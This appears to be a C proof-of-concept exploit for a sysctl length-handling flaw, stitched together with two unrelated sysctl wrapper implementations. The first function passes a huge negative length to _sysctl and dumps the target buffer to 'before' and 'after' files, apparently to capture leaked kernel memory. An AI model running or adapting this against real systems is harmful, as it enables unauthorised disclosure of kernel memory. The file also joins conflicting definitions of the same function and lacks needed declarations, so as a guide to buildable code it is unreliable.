int
main(int argc, const char* argv[])
{
struct __sysctl_args args_of_great_doom;
int names[2] = { CTL_KERN, KERN_NODENAME };
/* Minus 2 billion - somewhere close to biggest negative int */
int dodgy_len = -2000000000;
int fd;
char* p_buf;
fd = open("/dev/zero", O_RDWR);
p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE, fd, 0);
memset(p_buf, '\0', BUFLEN);
fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
args_of_great_doom.name = names;
args_of_great_doom.nlen = 2;
args_of_great_doom.oldval = p_buf;
args_of_great_doom.oldlenp = &dodgy_len;
args_of_great_doom.newval = 0;
args_of_great_doom.newlen = 0;
_sysctl(&args_of_great_doom);
fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
}
int
sysctl(SYSCTL_CONST int *name, u_int namelen, void *oldp, size_t * oldlenp,
const void *newp, size_t newlen)
{
_DIAGASSERT(name != NULL);
if (newp != (void *) NULL)
goto real;
if (KVER_NOT_INITIALIZED)
kver_initialize();
if (KVER_BADLY_INITIALIZED || namelen != 2)
goto real;
if (name[0] == CTL_KERN) {
size_t len;
int r = 0;
switch (name[1]) {
case KERN_OSRELEASE:
SYSCTL_STRING(oldp, oldlenp, kver.osrelease);
return (r);
case KERN_OSREV:
if (oldlenp) {
if (!oldp)
*oldlenp = sizeof(int);
else {
if (*oldlenp < sizeof(int))
return (ENOMEM);
*oldlenp = sizeof(int);
*((int *) oldp) = kver.osrevision;
}
}
return (r);
case KERN_VERSION:
SYSCTL_STRING(oldp, oldlenp, kver.version);
return (r);
}
}
real: return (_sysctl(name, namelen, oldp, oldlenp, newp, newlen));
}
int sysctl(int *name, int nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen)
{
struct __sysctl_args args={name,nlen,oldval,oldlenp,newval,newlen
};
return _sysctl(&args);
}